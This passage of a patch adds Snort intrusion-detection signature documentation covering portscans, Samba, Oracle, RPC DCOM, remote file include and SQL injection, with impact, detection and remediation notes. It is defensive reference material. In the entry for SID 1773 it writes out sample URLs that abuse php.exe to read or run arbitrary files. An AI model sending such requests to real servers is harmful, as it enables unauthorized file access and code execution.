+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3028.txt
+++ snort-2.8.5.2/doc/signatures/3028.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3028
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2619.txt
+++ snort-2.8.5.2/doc/signatures/2619.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2619
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "alter_master_repobject" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "type" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck634.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000505.txt
+++ snort-2.8.5.2/doc/signatures/100000505.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000505
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Nucleus CMS" application running on a webserver. 
+Access to the file "server.php" using a remote file being passed as the 
+"DIR_LIB" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DIR_LIB" parameter in the "server.php" script used by 
+the "Nucleus CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Nucleus CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1459.txt
+++ snort-2.8.5.2/doc/signatures/1459.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1459
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2679.txt
+++ snort-2.8.5.2/doc/signatures/2679.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2679
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure ksdwrt
+. This procedure is included in
+sys.dbms_system.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000569.txt
+++ snort-2.8.5.2/doc/signatures/100000569.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000569
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "app_change_email.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"app_change_email.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3181.txt
+++ snort-2.8.5.2/doc/signatures/3181.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3181
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2734.txt
+++ snort-2.8.5.2/doc/signatures/2734.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2734
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_mview_propagation
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/459.txt
+++ snort-2.8.5.2/doc/signatures/459.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+459
+
+--
+
+Summary:
+This event is generated when an ICMP Type 1 datagram with an undefined ICMP Code is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 1 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 1 is not defined for use and is not expected network activity.  Any ICMP datagram with an undefined ICMP Code should be investigated.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 1 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/489.txt
+++ snort-2.8.5.2/doc/signatures/489.txt
@@ -0,0 +1,75 @@
+Rule:
+  
+--
+
+Rule:
+--
+Sid:
+489
+
+--
+
+Summary:
+This event is generated when an attempt is made to log into an ftp 
+server with an empty password.
+
+--
+
+Impact:
+Possible unauthorized access, invalid login attempt.
+
+--
+
+Detailed Information:
+An attempt was made to log into an ftp server with an empty password. 
+This is an unusual behavior as every ftp login usually has a password, 
+even anonymous ones. An empty password might mean the system was already
+compromised and a username exists with no password.
+
+--
+
+Affected Systems:
+Machines running ftp servers.
+
+--
+
+Attack Scenarios:
+An attacker gains access to the system via a vulnerability, creates a 
+login without a password and then tries to ftp to the system with that 
+login.
+
+--
+
+Ease of Attack:
+Simple, no exploit software required.
+
+--
+
+False Positives:
+There might be legitimate users on the system with empty passwords, but 
+not very likely.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Check all the usernames on the system for empty passwords.
+
+--
+
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS322
+
+--
--- snort-2.8.5.2.orig/doc/signatures/936.txt
+++ snort-2.8.5.2/doc/signatures/936.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+936
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000357.txt
+++ snort-2.8.5.2/doc/signatures/100000357.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000357
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BASE" application running on a webserver. Access to the file "base_stat_common.php" using a remote file being passed as the "BASE_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "BASE_path" parameter in the "base_stat_common.php" script used by the "BASE" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BASE
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000110.txt
+++ snort-2.8.5.2/doc/signatures/100000110.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+100000110
+
+-- 
+Summary: 
+This event is generated when the Dabber virus attempts to exploit a 
+vulnerability in the FTP server installed by the Sasser virus.
+
+-- 
+
+Impact: 
+If the Sasser virus is currently running on the affected system, then the 
+Dabber virus will be able to install itself as well.
+
+--
+Detailed Information:
+Some variants of the Sasser virus install an FTP server that listens on port 
+5554. However, this FTP server suffers from a buffer overflow in the PORT 
+command, which can be exploited with a command of 100 or more characters. The 
+Dabber virus makes use of this vulnerability as an infection vetor.
+
+--
+Affected Systems:
+Any machine with a variant of the Sasser virus whose FTP server listens on port 
+5554. 
+
+--
+
+Attack Scenarios: 
+A known virus scans the Internet in search of vulnerable systems.
+
+-- 
+
+Ease of Attack: 
+Simple, as the virus is in the wild.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Users should employ a virus removal tool to clean their system of both Dabber 
+and Sasser, and then apply the latest security patches from Microsoft to 
+prevent further infections.
+
+--
+Contributors: 
+Matt Watchinski <mwatchinski@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1773.txt
+++ snort-2.8.5.2/doc/signatures/1773.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+1773
+
+--
+Summary:
+This event is generated when an attempt is made to access the executable file php.exe.
+
+--
+Impact:
+Severe - File execution and File access, due to a configuration error
+
+--
+Detailed Information:
+Apache servers can use the keyword "ScriptAlias" to create virtual folders. This is used to install PHP CGI (ScriptAlias /php/ "c:/php/"). 
+PHP version prior to an including 4.3.0 do not correctly check user input to this file. The executable php.exe can now be used to execute any file (even on different partitions) on the target host.
+
+
+--
+Affected Systems:
+PHP versions 4.3.0 and prior used on Apache web servers for windows.
+
+--
+Attack Scenarios:
+Read file: http://[targethost]/php/php.exe?c:\filetoread
+Execute file: http://[targethost]/php/php.exe?c:\filetoexecute
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+If the PHP version is newer than 4.3.0 this vulnerability can not be exploited.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Update PHP to the latest non affected version from www.php.net
+
+If the php.ini configuration file contains the keyword cgi.force_redirect this vulnerability can not be exploited.
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/706.txt
+++ snort-2.8.5.2/doc/signatures/706.txt
@@ -0,0 +1,79 @@
+Rule:
+
+--
+Sid:
+
+706
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a 
+vulnerability in Microsoft SQL Server and Data Engine.
+
+--
+Impact:
+Serious. Full system compromise is possible.
+
+--
+Detailed Information:
+A buffer overflow condition in the xp_peekqueue variable exists which 
+may allow the execution of an arbitary command with administrative 
+priviledge.
+
+The vulnerability occurs in API Srv_paraminfo(), which is implemented by
+Extended Stored Procedures (XPs) in Microsoft SQL Server and Data 
+Engine. It may also be possible for attackers to execute arbitrary code 
+on the host running SQL Server. 
+
+
+--
+Affected Systems:
+
+ Microsoft SQL Server 7.0
+ Microsoft SQL Server 2000 
+ Microsoft Data Engine 1.0
+ Microsoft Data Engine 2000 
+  
+
+--
+Attack Scenarios:
+
+An attacker can pass an overly long string to the XP xp_peekqueue,
+a buffer overflow can occur due to an unsafe memory copy. This can cause
+SQL Server to crash.
+
+
+--
+Ease of Attack:
+
+Simple. Exploit scripts are available.
+
+--
+False Positives:
+
+None known
+
+--
+False Negatives:
+
+None known
+
+--
+Corrective Action:
+ 
+Apply the appropriate vendor supplied patch
+(Microsoft Patch Q280380 , Microsoft Patch Q280380)
+
+--
+Contributors:
+Original Rule Writer Unknown
+Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2040/
+--
--- snort-2.8.5.2.orig/doc/signatures/691.txt
+++ snort-2.8.5.2/doc/signatures/691.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an SQL database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1231.txt
+++ snort-2.8.5.2/doc/signatures/1231.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1231
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000537.txt
+++ snort-2.8.5.2/doc/signatures/100000537.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000537
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "thinkWMS" application running on a webserver. Access to 
+the file "index.php" with SQL commands being passed as the "id" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "id" parameter in the "index.php" script used by the 
+"thinkWMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using thinkWMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1584.txt
+++ snort-2.8.5.2/doc/signatures/1584.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1584
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/585.txt
+++ snort-2.8.5.2/doc/signatures/585.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+585
+
+--
+Summary:
